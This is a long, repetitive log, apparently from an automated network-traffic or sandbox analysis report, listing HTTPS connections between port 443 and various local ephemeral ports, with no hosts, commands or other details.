Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50325 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 64284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 64319 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 64364 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64398 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50330
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50332
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64405 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50326
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50325
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50327
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50329
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50322
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50324
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50323
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50327 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 64291 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64245
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50259
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50260
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50264
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50268
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50270
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50272
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50271
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50273
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50276
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50275
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64403 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50289
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64401 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64271 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50323 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64293 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
